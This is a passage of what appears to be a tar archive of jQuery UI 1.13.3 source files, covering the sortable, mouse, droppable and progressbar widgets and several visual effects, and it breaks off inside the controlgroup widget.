t.parents("body").length||this.appendTo[0].appendChild(t[0]),t[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),t[0].style.width&&!e.forceHelperSize||t.width(this.currentItem.width()),t[0].style.height&&!e.forceHelperSize||t.height(this.currentItem.height()),t},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&u.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&u.ui.ie?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){var t;return"relative"===this.cssPosition?{top:(t=this.currentItem.position()).top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}:{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e,i=this.options;"parent"===i.containment&&(i.containment=this.helper[0].parentNode),"document"!==i.containment&&"window"!==i.containment||(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===i.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===i.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(i.containment)||(t=u(i.containment)[0],i=u(i.containment).offset(),e="hidden"!==u(t).css("overflow"),this.containment=[i.left+(parseInt(u(t).css("borderLeftWidth"),10)||0)+(parseInt(u(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(u(t).css("borderTopWidth"),10)||0)+(parseInt(u(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(e?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(u(t).css("borderLeftWidth"),10)||0)-(parseInt(u(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(e?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(u(t).css("borderTopWidth"),10)||0)-(parseInt(u(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,e){e=e||this.position;var t="absolute"===t?1:-1,i="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&u.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,s=/(html|body)/i.test(i[0].tagName);return{top:e.top+this.offset.relative.top*t+this.offset.parent.top*t-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():s?0:i.scrollTop())*t,left:e.left+this.offset.relative.left*t+this.offset.parent.left*t-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():s?0:i.scrollLeft())*t}},_generatePosition:function(t){var e=this.options,i=t.pageX,s=t.pageY,o="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&u.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,r=/(html|body)/i.test(o[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(i=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(s=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(i=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3])&&(s=this.containment[3]+this.offset.click.top),e.grid)&&(t=this.originalPageY+Math.round((s-this.originalPageY)/e.grid[1])*e.grid[1],s=!this.containment||t-this.offset.click.top>=this.containment[1]&&t-this.offset.click.top<=this.containment[3]?t:t-this.offset.click.top>=this.containment[1]?t-e.grid[1]:t+e.grid[1],t=this.originalPageX+Math.round((i-this.originalPageX)/e.grid[0])*e.grid[0],i=!this.containment||t-this.offset.click.left>=this.containment[0]&&t-this.offset.click.left<=this.containment[2]?t:t-this.offset.click.left>=this.containment[0]?t-e.grid[0]:t+e.grid[0]),{top:s-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():r?0:o.scrollTop()),left:i-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():r?0:o.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var o=this.counter;this._delay(function(){o===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){this.reverting=!1;var i,s=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)"auto"!==this._storedCSS[i]&&"static"!==this._storedCSS[i]||(this._storedCSS[i]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();function o(e,i,s){return function(t){s._trigger(e,t,i._uiHash(i))}}for(this.fromOutside&&!e&&s.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||s.push(function(t){this._trigger("update",t,this._uiHash())}),this===this.currentContainer||e||(s.push(function(t){this._trigger("remove",t,this._uiHash())}),s.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),s.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer))),i=this.containers.length-1;0<=i;i--)e||s.push(o("deactivate",this,this.containers[i])),this.containers[i].containerCache.over&&(s.push(o("out",this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(i=0;i<s.length;i++)s[i].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){!1===u.Widget.prototype._trigger.apply(this,arguments)&&this.cancel()},_uiHash:function(t){var e=t||this;return{helper:e.helper,placeholder:e.placeholder||u([]),position:e.position,originalPosition:e.originalPosition,offset:e.positionAbs,item:e.currentItem,sender:t?t.element:null}}})}); jquery/ui/effect-highlight.js 0000644 00000002333 15111757754 0012255 0 ustar 00 /*! * jQuery UI Effects Highlight 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Highlight Effect //>>group: Effects //>>description: Highlights the background of an element in a defined color for a custom duration. //>>docs: https://api.jqueryui.com/highlight-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "highlight", "show", function( options, done ) { var element = $( this ), animation = { backgroundColor: element.css( "backgroundColor" ) }; if ( options.mode === "hide" ) { animation.opacity = 0; } $.effects.saveStyle( element ); element .css( { backgroundImage: "none", backgroundColor: options.color || "#ffff99" } ) .animate( animation, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); jquery/ui/effect-clip.js 0000644 00000003051 15111757754 0011233 0 ustar 00 /*! * jQuery UI Effects Clip 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Clip Effect //>>group: Effects //>>description: Clips the element on and off like an old TV. //>>docs: https://api.jqueryui.com/clip-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "clip", "hide", function( options, done ) { var start, animate = {}, element = $( this ), direction = options.direction || "vertical", both = direction === "both", horizontal = both || direction === "horizontal", vertical = both || direction === "vertical"; start = element.cssClip(); animate.clip = { top: vertical ? ( start.bottom - start.top ) / 2 : start.top, right: horizontal ? ( start.right - start.left ) / 2 : start.right, bottom: vertical ? ( start.bottom - start.top ) / 2 : start.bottom, left: horizontal ? ( start.right - start.left ) / 2 : start.left }; $.effects.createPlaceholder( element ); if ( options.mode === "show" ) { element.cssClip( animate.clip ); animate.clip = start; } element.animate( animate, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); jquery/ui/mouse.js 0000644 00000014123 15111757754 0010204 0 ustar 00 /*! * jQuery UI Mouse 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Mouse //>>group: Widgets //>>description: Abstracts mouse-based interactions to assist in creating certain widgets. //>>docs: https://api.jqueryui.com/mouse/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../ie", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var mouseHandled = false; $( document ).on( "mouseup", function() { mouseHandled = false; } ); return $.widget( "ui.mouse", { version: "1.13.3", options: { cancel: "input, textarea, button, select, option", distance: 1, delay: 0 }, _mouseInit: function() { var that = this; this.element .on( "mousedown." + this.widgetName, function( event ) { return that._mouseDown( event ); } ) .on( "click." + this.widgetName, function( event ) { if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) { $.removeData( event.target, that.widgetName + ".preventClickEvent" ); event.stopImmediatePropagation(); return false; } } ); this.started = false; }, // TODO: make sure destroying one instance of mouse doesn't mess with // other instances of mouse _mouseDestroy: function() { this.element.off( "." + this.widgetName ); if ( this._mouseMoveDelegate ) { this.document .off( "mousemove." + this.widgetName, this._mouseMoveDelegate ) .off( "mouseup." + this.widgetName, this._mouseUpDelegate ); } }, _mouseDown: function( event ) { // don't let more than one widget handle mouseStart if ( mouseHandled ) { return; } this._mouseMoved = false; // We may have missed mouseup (out of window) if ( this._mouseStarted ) { this._mouseUp( event ); } this._mouseDownEvent = event; var that = this, btnIsLeft = ( event.which === 1 ), // event.target.nodeName works around a bug in IE 8 with // disabled inputs (#7620) elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ? $( event.target ).closest( this.options.cancel ).length : false ); if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) { return true; } this.mouseDelayMet = !this.options.delay; if ( !this.mouseDelayMet ) { this._mouseDelayTimer = setTimeout( function() { that.mouseDelayMet = true; }, this.options.delay ); } if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) { this._mouseStarted = ( this._mouseStart( event ) !== false ); if ( !this._mouseStarted ) { event.preventDefault(); return true; } } // Click event may never have fired (Gecko & Opera) if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) { $.removeData( event.target, this.widgetName + ".preventClickEvent" ); } // These delegates are required to keep context this._mouseMoveDelegate = function( event ) { return that._mouseMove( event ); }; this._mouseUpDelegate = function( event ) { return that._mouseUp( event ); }; this.document .on( "mousemove." + this.widgetName, this._mouseMoveDelegate ) .on( "mouseup." + this.widgetName, this._mouseUpDelegate ); event.preventDefault(); mouseHandled = true; return true; }, _mouseMove: function( event ) { // Only check for mouseups outside the document if you've moved inside the document // at least once. This prevents the firing of mouseup in the case of IE<9, which will // fire a mousemove event if content is placed under the cursor. See #7778 // Support: IE <9 if ( this._mouseMoved ) { // IE mouseup check - mouseup happened when mouse was out of window if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) && !event.button ) { return this._mouseUp( event ); // Iframe mouseup check - mouseup occurred in another document } else if ( !event.which ) { // Support: Safari <=8 - 9 // Safari sets which to 0 if you press any of the following keys // during a drag (#14461) if ( event.originalEvent.altKey || event.originalEvent.ctrlKey || event.originalEvent.metaKey || event.originalEvent.shiftKey ) { this.ignoreMissingWhich = true; } else if ( !this.ignoreMissingWhich ) { return this._mouseUp( event ); } } } if ( event.which || event.button ) { this._mouseMoved = true; } if ( this._mouseStarted ) { this._mouseDrag( event ); return event.preventDefault(); } if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) { this._mouseStarted = ( this._mouseStart( this._mouseDownEvent, event ) !== false ); if ( this._mouseStarted ) { this._mouseDrag( event ); } else { this._mouseUp( event ); } } return !this._mouseStarted; }, _mouseUp: function( event ) { this.document .off( "mousemove." + this.widgetName, this._mouseMoveDelegate ) .off( "mouseup." + this.widgetName, this._mouseUpDelegate ); if ( this._mouseStarted ) { this._mouseStarted = false; if ( event.target === this._mouseDownEvent.target ) { $.data( event.target, this.widgetName + ".preventClickEvent", true ); } this._mouseStop( event ); } if ( this._mouseDelayTimer ) { clearTimeout( this._mouseDelayTimer ); delete this._mouseDelayTimer; } this.ignoreMissingWhich = false; mouseHandled = false; event.preventDefault(); }, _mouseDistanceMet: function( event ) { return ( Math.max( Math.abs( this._mouseDownEvent.pageX - event.pageX ), Math.abs( this._mouseDownEvent.pageY - event.pageY ) ) >= this.options.distance ); }, _mouseDelayMet: function( /* event */ ) { return this.mouseDelayMet; }, // These are placeholder methods, to be overriden by extending plugin _mouseStart: function( /* event */ ) {}, _mouseDrag: function( /* event */ ) {}, _mouseStop: function( /* event */ ) {}, _mouseCapture: function( /* event */ ) { return true; } } ); } ); jquery/ui/effect-scale.min.js 0000644 00000001323 15111757754 0012155 0 ustar 00 /*! * jQuery UI Effects Scale 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect","./effect-size"],e):e(jQuery)}(function(n){"use strict";return n.effects.define("scale",function(e,t){var f=n(this),i=e.mode,i=parseInt(e.percent,10)||(0===parseInt(e.percent,10)||"effect"!==i?0:100),f=n.extend(!0,{from:n.effects.scaledDimensions(f),to:n.effects.scaledDimensions(f,i,e.direction||"both"),origin:e.origin||["middle","center"]},e);e.fade&&(f.from.opacity=1,f.to.opacity=0),n.effects.effect.size.call(this,f,t)})}); jquery/ui/droppable.js 0000644 00000031143 15111757754 0011025 0 ustar 00 /*! * jQuery UI Droppable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Droppable //>>group: Interactions //>>description: Enables drop targets for draggable elements. //>>docs: https://api.jqueryui.com/droppable/ //>>demos: https://jqueryui.com/droppable/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./draggable", "./mouse", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.droppable", { version: "1.13.3", widgetEventPrefix: "drop", options: { accept: "*", addClasses: true, greedy: false, scope: "default", tolerance: "intersect", // Callbacks activate: null, deactivate: null, drop: null, out: null, over: null }, _create: function() { var proportions, o = this.options, accept = o.accept; this.isover = false; this.isout = true; this.accept = typeof accept === "function" ? accept : function( d ) { return d.is( accept ); }; this.proportions = function( /* valueToWrite */ ) { if ( arguments.length ) { // Store the droppable's proportions proportions = arguments[ 0 ]; } else { // Retrieve or derive the droppable's proportions return proportions ? proportions : proportions = { width: this.element[ 0 ].offsetWidth, height: this.element[ 0 ].offsetHeight }; } }; this._addToManager( o.scope ); if ( o.addClasses ) { this._addClass( "ui-droppable" ); } }, _addToManager: function( scope ) { // Add the reference and positions to the manager $.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || []; $.ui.ddmanager.droppables[ scope ].push( this ); }, _splice: function( drop ) { var i = 0; for ( ; i < drop.length; i++ ) { if ( drop[ i ] === this ) { drop.splice( i, 1 ); } } }, _destroy: function() { var drop = $.ui.ddmanager.droppables[ this.options.scope ]; this._splice( drop ); }, _setOption: function( key, value ) { if ( key === "accept" ) { this.accept = typeof value === "function" ? value : function( d ) { return d.is( value ); }; } else if ( key === "scope" ) { var drop = $.ui.ddmanager.droppables[ this.options.scope ]; this._splice( drop ); this._addToManager( value ); } this._super( key, value ); }, _activate: function( event ) { var draggable = $.ui.ddmanager.current; this._addActiveClass(); if ( draggable ) { this._trigger( "activate", event, this.ui( draggable ) ); } }, _deactivate: function( event ) { var draggable = $.ui.ddmanager.current; this._removeActiveClass(); if ( draggable ) { this._trigger( "deactivate", event, this.ui( draggable ) ); } }, _over: function( event ) { var draggable = $.ui.ddmanager.current; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._addHoverClass(); this._trigger( "over", event, this.ui( draggable ) ); } }, _out: function( event ) { var draggable = $.ui.ddmanager.current; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._removeHoverClass(); this._trigger( "out", event, this.ui( draggable ) ); } }, _drop: function( event, custom ) { var draggable = custom || $.ui.ddmanager.current, childrenIntersection = false; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return false; } this.element .find( ":data(ui-droppable)" ) .not( ".ui-draggable-dragging" ) .each( function() { var inst = $( this ).droppable( "instance" ); if ( inst.options.greedy && !inst.options.disabled && inst.options.scope === draggable.options.scope && inst.accept.call( inst.element[ 0 ], ( draggable.currentItem || draggable.element ) ) && $.ui.intersect( draggable, $.extend( inst, { offset: inst.element.offset() } ), inst.options.tolerance, event ) ) { childrenIntersection = true; return false; } } ); if ( childrenIntersection ) { return false; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._removeActiveClass(); this._removeHoverClass(); this._trigger( "drop", event, this.ui( draggable ) ); return this.element; } return false; }, ui: function( c ) { return { draggable: ( c.currentItem || c.element ), helper: c.helper, position: c.position, offset: c.positionAbs }; }, // Extension points just to make backcompat sane and avoid duplicating logic // TODO: Remove in 1.14 along with call to it below _addHoverClass: function() { this._addClass( "ui-droppable-hover" ); }, _removeHoverClass: function() { this._removeClass( "ui-droppable-hover" ); }, _addActiveClass: function() { this._addClass( "ui-droppable-active" ); }, _removeActiveClass: function() { this._removeClass( "ui-droppable-active" ); } } ); $.ui.intersect = ( function() { function isOverAxis( x, reference, size ) { return ( x >= reference ) && ( x < ( reference + size ) ); } return function( draggable, droppable, toleranceMode, event ) { if ( !droppable.offset ) { return false; } var x1 = ( draggable.positionAbs || draggable.position.absolute ).left + draggable.margins.left, y1 = ( draggable.positionAbs || draggable.position.absolute ).top + draggable.margins.top, x2 = x1 + draggable.helperProportions.width, y2 = y1 + draggable.helperProportions.height, l = droppable.offset.left, t = droppable.offset.top, r = l + droppable.proportions().width, b = t + droppable.proportions().height; switch ( toleranceMode ) { case "fit": return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b ); case "intersect": return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half case "pointer": return isOverAxis( event.pageY, t, droppable.proportions().height ) && isOverAxis( event.pageX, l, droppable.proportions().width ); case "touch": return ( ( y1 >= t && y1 <= b ) || // Top edge touching ( y2 >= t && y2 <= b ) || // Bottom edge touching ( y1 < t && y2 > b ) // Surrounded vertically ) && ( ( x1 >= l && x1 <= r ) || // Left edge touching ( x2 >= l && x2 <= r ) || // Right edge touching ( x1 < l && x2 > r ) // Surrounded horizontally ); default: return false; } }; } )(); /* This manager tracks offsets of draggables and droppables */ $.ui.ddmanager = { current: null, droppables: { "default": [] }, prepareOffsets: function( t, event ) { var i, j, m = $.ui.ddmanager.droppables[ t.options.scope ] || [], type = event ? event.type : null, // workaround for #2317 list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack(); droppablesLoop: for ( i = 0; i < m.length; i++ ) { // No disabled and non-accepted if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ], ( t.currentItem || t.element ) ) ) ) { continue; } // Filter out elements in the current dragged item for ( j = 0; j < list.length; j++ ) { if ( list[ j ] === m[ i ].element[ 0 ] ) { m[ i ].proportions().height = 0; continue droppablesLoop; } } m[ i ].visible = m[ i ].element.css( "display" ) !== "none"; if ( !m[ i ].visible ) { continue; } // Activate the droppable if used directly from draggables if ( type === "mousedown" ) { m[ i ]._activate.call( m[ i ], event ); } m[ i ].offset = m[ i ].element.offset(); m[ i ].proportions( { width: m[ i ].element[ 0 ].offsetWidth, height: m[ i ].element[ 0 ].offsetHeight } ); } }, drop: function( draggable, event ) { var dropped = false; // Create a copy of the droppables in case the list changes during the drop (#9116) $.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() { if ( !this.options ) { return; } if ( !this.options.disabled && this.visible && $.ui.intersect( draggable, this, this.options.tolerance, event ) ) { dropped = this._drop.call( this, event ) || dropped; } if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this.isout = true; this.isover = false; this._deactivate.call( this, event ); } } ); return dropped; }, dragStart: function( draggable, event ) { // Listen for scrolling so that if the dragging causes scrolling the position of the // droppables can be recalculated (see #5003) draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() { if ( !draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } } ); }, drag: function( draggable, event ) { // If you have a highly dynamic page, you might try this option. It renders positions // every time you move the mouse. if ( draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } // Run through all droppables and check their positions based on specific tolerance options $.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() { if ( this.options.disabled || this.greedyChild || !this.visible ) { return; } var parentInstance, scope, parent, intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ), c = !intersects && this.isover ? "isout" : ( intersects && !this.isover ? "isover" : null ); if ( !c ) { return; } if ( this.options.greedy ) { // find droppable parents with same scope scope = this.options.scope; parent = this.element.parents( ":data(ui-droppable)" ).filter( function() { return $( this ).droppable( "instance" ).options.scope === scope; } ); if ( parent.length ) { parentInstance = $( parent[ 0 ] ).droppable( "instance" ); parentInstance.greedyChild = ( c === "isover" ); } } // We just moved into a greedy child if ( parentInstance && c === "isover" ) { parentInstance.isover = false; parentInstance.isout = true; parentInstance._out.call( parentInstance, event ); } this[ c ] = true; this[ c === "isout" ? "isover" : "isout" ] = false; this[ c === "isover" ? "_over" : "_out" ].call( this, event ); // We just moved out of a greedy child if ( parentInstance && c === "isout" ) { parentInstance.isout = false; parentInstance.isover = true; parentInstance._over.call( parentInstance, event ); } } ); }, dragStop: function( draggable, event ) { draggable.element.parentsUntil( "body" ).off( "scroll.droppable" ); // Call prepareOffsets one final time since IE does not fire return scroll events when // overflow was caused by drag (see #5003) if ( !draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } } }; // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for activeClass and hoverClass options $.widget( "ui.droppable", $.ui.droppable, { options: { hoverClass: false, activeClass: false }, _addActiveClass: function() { this._super(); if ( this.options.activeClass ) { this.element.addClass( this.options.activeClass ); } }, _removeActiveClass: function() { this._super(); if ( this.options.activeClass ) { this.element.removeClass( this.options.activeClass ); } }, _addHoverClass: function() { this._super(); if ( this.options.hoverClass ) { this.element.addClass( this.options.hoverClass ); } }, _removeHoverClass: function() { this._super(); if ( this.options.hoverClass ) { this.element.removeClass( this.options.hoverClass ); } } } ); } return $.ui.droppable; } ); jquery/ui/progressbar.js 0000644 00000010217 15111757754 0011405 0 ustar 00 /*! * jQuery UI Progressbar 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Progressbar //>>group: Widgets /* eslint-disable max-len */ //>>description: Displays a status indicator for loading state, standard percentage, and other progress indicators. /* eslint-enable max-len */ //>>docs: https://api.jqueryui.com/progressbar/ //>>demos: https://jqueryui.com/progressbar/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/progressbar.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.progressbar", { version: "1.13.3", options: { classes: { "ui-progressbar": "ui-corner-all", "ui-progressbar-value": "ui-corner-left", "ui-progressbar-complete": "ui-corner-right" }, max: 100, value: 0, change: null, complete: null }, min: 0, _create: function() { // Constrain initial value this.oldValue = this.options.value = this._constrainedValue(); this.element.attr( { // Only set static values; aria-valuenow and aria-valuemax are // set inside _refreshValue() role: "progressbar", "aria-valuemin": this.min } ); this._addClass( "ui-progressbar", "ui-widget ui-widget-content" ); this.valueDiv = $( "<div>" ).appendTo( this.element ); this._addClass( this.valueDiv, "ui-progressbar-value", "ui-widget-header" ); this._refreshValue(); }, _destroy: function() { this.element.removeAttr( "role aria-valuemin aria-valuemax aria-valuenow" ); this.valueDiv.remove(); }, value: function( newValue ) { if ( newValue === undefined ) { return this.options.value; } this.options.value = this._constrainedValue( newValue ); this._refreshValue(); }, _constrainedValue: function( newValue ) { if ( newValue === undefined ) { newValue = this.options.value; } this.indeterminate = newValue === false; // Sanitize value if ( typeof newValue !== "number" ) { newValue = 0; } return this.indeterminate ? false : Math.min( this.options.max, Math.max( this.min, newValue ) ); }, _setOptions: function( options ) { // Ensure "value" option is set after other values (like max) var value = options.value; delete options.value; this._super( options ); this.options.value = this._constrainedValue( value ); this._refreshValue(); }, _setOption: function( key, value ) { if ( key === "max" ) { // Don't allow a max less than min value = Math.max( this.min, value ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this.element.attr( "aria-disabled", value ); this._toggleClass( null, "ui-state-disabled", !!value ); }, _percentage: function() { return this.indeterminate ? 100 : 100 * ( this.options.value - this.min ) / ( this.options.max - this.min ); }, _refreshValue: function() { var value = this.options.value, percentage = this._percentage(); this.valueDiv .toggle( this.indeterminate || value > this.min ) .width( percentage.toFixed( 0 ) + "%" ); this ._toggleClass( this.valueDiv, "ui-progressbar-complete", null, value === this.options.max ) ._toggleClass( "ui-progressbar-indeterminate", null, this.indeterminate ); if ( this.indeterminate ) { this.element.removeAttr( "aria-valuenow" ); if ( !this.overlayDiv ) { this.overlayDiv = $( "<div>" ).appendTo( this.valueDiv ); this._addClass( this.overlayDiv, "ui-progressbar-overlay" ); } } else { this.element.attr( { "aria-valuemax": this.options.max, "aria-valuenow": value } ); if ( this.overlayDiv ) { this.overlayDiv.remove(); this.overlayDiv = null; } } if ( this.oldValue !== value ) { this.oldValue = value; this._trigger( "change" ); } if ( value === this.options.max ) { this._trigger( "complete" ); } } } ); } ); jquery/ui/controlgroup.js 0000644 00000020662 15111757754 0011616 0 ustar 00 /*! * jQuery UI Controlgroup 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Controlgroup //>>group: Widgets //>>description: Visually groups form control widgets //>>docs: https://api.jqueryui.com/controlgroup/ //>>demos: https://jqueryui.com/controlgroup/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/controlgroup.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g; return $.widget( "ui.controlgroup", { version: "1.13.3", defaultElement: "<div>", options: { direction: "horizontal", disabled: null, onlyVisible: true, items: { "button": "input[type=button], input[type=submit], 